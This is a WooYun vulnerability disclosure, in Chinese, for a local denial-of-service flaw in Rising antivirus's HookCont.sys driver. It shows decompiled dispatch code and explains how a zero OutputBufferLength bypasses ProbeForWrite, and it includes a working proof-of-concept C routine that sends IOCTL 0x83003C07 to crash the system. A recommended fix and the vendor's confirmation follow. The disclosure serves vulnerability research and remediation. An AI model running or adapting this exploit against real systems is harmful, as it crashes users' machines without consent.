当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2010-0120

漏洞标题:瑞星 HookCont.sys <= 24.0.0.5 驱动本地拒绝服务漏洞

相关厂商:RiSing

漏洞作者: shineast

提交时间:2010-07-27 15:04

修复时间:2010-08-26 18:00

公开时间:2010-08-26 18:00

漏洞类型:拒绝服务

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2010-07-27: 细节已通知厂商并且等待厂商处理中
1970-01-01: 厂商已经确认,细节仅向厂商公开
1970-01-04: 细节向第三方安全合作伙伴开放
1970-02-25: 细节向核心白帽子及相关领域专家公开
1970-03-07: 细节向普通白帽子公开
1970-03-17: 细节向实习白帽子公开
2010-08-26: 细节向公众公开

简要描述:

瑞星 HookCont.sys <= 24.0.0.5 驱动程序派遣例程中,对IoControlCode为0x83003C07的处理中,对UserBuffer检查中,使用ProbeForWrite函数不当造成本地拒绝服务漏洞。

详细说明:

void __stdcall DriverDispatch(struct _DEVICE_OBJECT *a1, PIRP Irp)
{
PIRP v2; // edx@2
PVOID UserBuffer; // edi@4
unsigned int IoControlCode; // esi@4
struct _IRP::$::$::$::$A02EC6A2CE86544F716F4825015773AC::_IO_STACK_LOCATION *pIrpStack; // esi@4
SIZE_T OutputBufferLength; // ST18_4@4
int v7; // eax@25
HANDLE *Type3InputBuffer; // [sp+10h] [bp-24h]@4
SIZE_T InputBufferLength; // [sp+14h] [bp-20h]@4
if ( a1 == dword_115AC ) // hookmail
{
v2 = Irp;
++v2->CurrentLocation;
v2->Tail.Overlay.CurrentStackLocation = (struct _IRP::$::$::$::$A02EC6A2CE86544F716F4825015773AC::_IO_STACK_LOCATION *)((char *)v2->Tail.Overlay.CurrentStackLocation + 36);
IofCallDriver(DeviceObject, Irp);
JUMPOUT(*(unsigned int *)loc_10F11);
}
pIrpStack = Irp->Tail.Overlay.CurrentStackLocation;
Type3InputBuffer = (HANDLE *)*((_DWORD *)pIrpStack + 4);
UserBuffer = Irp->UserBuffer;
InputBufferLength = *((_DWORD *)pIrpStack + 2);
OutputBufferLength = *((_DWORD *)pIrpStack + 1);
JUMPOUT((unsigned int)UserBuffer, (unsigned int)MmUserProbeAddress, *(unsigned int *)loc_10EF2);
JUMPOUT(
(unsigned int)((char *)UserBuffer + *((_DWORD *)pIrpStack + 1)),
(unsigned int)MmUserProbeAddress,
*(unsigned int *)loc_10EF2);
ProbeForRead(*((const void **)pIrpStack + 4), InputBufferLength, 1u);
ProbeForWrite(UserBuffer, OutputBufferLength, 1u);
IoControlCode = *((_DWORD *)pIrpStack + 3);
if ( IoControlCode == 0x83003C07 )
{
if ( !*((_BYTE *)P + 11004) )
{
if ( InputBufferLength >= 4 )
{
v7 = sub_105AA(P, *Type3InputBuffer);
if ( v7 )
{
*(_DWORD *)UserBuffer = v7;
Irp->IoStatus.Information = 4;
}
*((_BYTE *)P + 11005) = 0;
JUMPOUT(*(unsigned int *)loc_10EF9);
}
}
}
//省略部分代码。。。


从瑞星的DriverDispatch处理,可以看出其对UserBuffer虽然做了严格的MmUserProbeAddress比较检查,也做了ProbeForWrite探测,但是使用ProbeForWrite函数不当!因为处理过程中相信了用户输入的OutputBufferLength,那么只要用户输入的OutputBufferLength为0,就可以躲过ProbeForWrite检查。
最终在 *(_DWORD *)UserBuffer = v7; 这句中发生了内存访问错误,导致拒绝服务。

漏洞证明:

void Test() 
{
DWORD dw;
HANDLE hDevice;
DWORD InputBuffer[64]={0};
DWORD outputBuffer[64]={0};
char * deviceName="\\\\.\\HookCont";
DWORD ioControlCode=0x83003C07;
//得到设备指针
hDevice=CreateFile(deviceName,GENERIC_READ|GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_SYSTEM,0);
if(hDevice==INVALID_HANDLE_VALUE)
{
displayError("打开设备出错!");
return ;
}
MyOutputDebugString("CreateFile %s ok! hDevice=%08X\n",deviceName,hDevice);
//准备数据
InputBuffer[0]=(DWORD)hDevice; //给一个句柄即可
//出发漏洞
if(!DeviceIoControl(hDevice,
ioControlCode,
InputBuffer ,
4,
(PVOID)(0x7fff0000),
0,
&dw,0))
{
displayError("DeviceIoControl failed!");
}
//关闭设备句柄
CloseHandle(hDevice);
}

修复方案:

建议瑞星驱动中不要相信用户输入的OutputBufferLength,而使用自己需要写入的长度作为ProbeForWrite的第二个参数(即长度)。本驱动中,应该是sizeof(DWORD).

版权声明:转载请注明来源 shineast@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2010-07-27 15:04

厂商回复:

哈哈,搞定.3Q

最新状态:

暂无